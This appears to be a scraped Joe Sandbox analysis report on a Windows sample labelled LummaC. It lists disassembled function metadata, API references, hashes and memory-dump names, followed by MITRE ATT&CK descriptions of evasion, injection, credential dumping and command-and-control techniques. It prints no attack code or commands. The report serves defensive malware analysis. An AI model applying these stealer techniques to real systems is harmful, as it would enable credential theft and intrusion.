Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ff87bc1180fd93343d2c024f373391b42f2dbd77685d9fb7efde3242f948296e
Instruction ID: d1482df3acc6bb2ec2d125b974bf6961d6c52d8d355d204a39f084ecc8380053
Opcode Fuzzy Hash: ff87bc1180fd93343d2c024f373391b42f2dbd77685d9fb7efde3242f948296e
Instruction Fuzzy Hash: E0F03736401224FBCF222F91DC0999A3F65FB453A0F088110FA19D5270CB31C960ABB5

Function 00D8C367 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D8C379
GetCurrentThreadId.KERNEL32 ref: 00D8C388
GetCurrentProcessId.KERNEL32 ref: 00D8C391
QueryPerformanceCounter.KERNEL32(?), ref: 00D8C39E

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2b2485e3fc964bd3f789f4cc80d63e29397a9fec69c95ddd97ab76b796f949cd
Instruction ID: 651b8a81d28880dda7113d606df3e4969a4ded15de8de3af887734c4930399d2
Opcode Fuzzy Hash: 2b2485e3fc964bd3f789f4cc80d63e29397a9fec69c95ddd97ab76b796f949cd
Instruction Fuzzy Hash: B4F05F74D1120DEBCF00EBB5DA4999FBBF4FF1C204B914695A412F6211EA30AB449FA0

Function 00D879D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00D87B30
_strcspn.LIBCMT ref: 00D87B5E

Strings

@, xrefs: 00D87E29

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: b3834b310364707216ac988f29d8c5b1f765637a499ede48f237de3398570bc3
Instruction ID: f18b8f625ecda85b3788d69dc424d342c52059ea92747f7d63b77b58885694d4
Opcode Fuzzy Hash: b3834b310364707216ac988f29d8c5b1f765637a499ede48f237de3398570bc3
Instruction Fuzzy Hash: 7432C5B4904269CFCB14EF64C981AADFBF1BF48310F15859AE849A7351D730AE85CFA1

Function 00D96DFE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D96CFF,?,?,00000000,00000000,00000000,?), ref: 00D96E23

Strings

MOC, xrefs: 00D96E35
RCC, xrefs: 00D96E3D

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c17430ee02fe9d6bfe24046c28be631c24eecee0899a246d84063f41ef836e10
Instruction ID: 732b35ea4839a1986fab29ed6cbd1ca2de4d4a310616efba67207408725eddbe
Opcode Fuzzy Hash: c17430ee02fe9d6bfe24046c28be631c24eecee0899a246d84063f41ef836e10
Instruction Fuzzy Hash: 5D412672900209EFCF16DF98D981AAEBBB5FF48304F198199FA04A7221D335E950DB70

Function 0042F93C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0042F982

Strings

], xrefs: 0042FA01
N, xrefs: 0042FA0B

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitVariant
String ID: N$]
API String ID: 1927566239-1635235127
Opcode ID: 42458be4833a2921109a7d9e437a2205c0d69bb37ad24b2d8f5f3fe68557ffee
Instruction ID: 4e5ae970ecd199c33ea546fe262ad0416e9955d009ac5c95d912acbed433464f
Opcode Fuzzy Hash: 42458be4833a2921109a7d9e437a2205c0d69bb37ad24b2d8f5f3fe68557ffee
Instruction Fuzzy Hash: 0C41387150C7C18AD325CB38845878FBFD16BE6314F498AACE5E54B3E2DA798405CB63

Function 00D9666A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D968E1

Strings

csm, xrefs: 00D96903
csm, xrefs: 00D96974

Memory Dump Source

Source File: 00000002.00000002.1968565564.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000002.00000002.1968547299.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968594618.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968617668.0000000000DB2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968636510.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968653502.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1968672547.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 446aeefaa0ef215a3e5712bacec80f59d68d3fcfd97602c0f1c7c327e59c9103
Instruction ID: e6d5fdfc286cd8ef581cfc420e46366b103a9c4accd5b8f2eff10e453ec4eb2c
Opcode Fuzzy Hash: 446aeefaa0ef215a3e5712bacec80f59d68d3fcfd97602c0f1c7c327e59c9103
Instruction Fuzzy Hash: 3531C432400219FBCF269F54CD44A6A7B66FF09315B1C826AF9944A121D332DCA1DFB1

Function 004263AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000), ref: 0042646E

Strings

*, xrefs: 004263B9
*, xrefs: 004263C9

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: CopyFile
String ID: *$*
API String ID: 1304948518-3771216468
Opcode ID: b3c70e620b2a5bffc9ee9673ef11ef18317e07b739a38a59847c99a1fa5a8965
Instruction ID: 3e6526b6d9ae425b3e8d6a86e634f6df26a0ebb4ad7d9e737430cc0399b070e8
Opcode Fuzzy Hash: b3c70e620b2a5bffc9ee9673ef11ef18317e07b739a38a59847c99a1fa5a8965
Instruction Fuzzy Hash: B82166B9910711EFC310AF36DC09712BBB1BF4A701F119A68E0419BA44E738E661CBC9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report X2hna87N3Y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
X2hna87N3Y.exe

Function 00DB21A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00D98362 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00DB57C0 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 00DB52D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156
COMMON

Function 00DB5660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 00D91131 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00D9EF5F Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00D9F738 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00D98E82 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00DB5B10 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 00D91249 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00DB5600 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 00D975D3 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Function 00D8A10F Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Function 00D88770 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre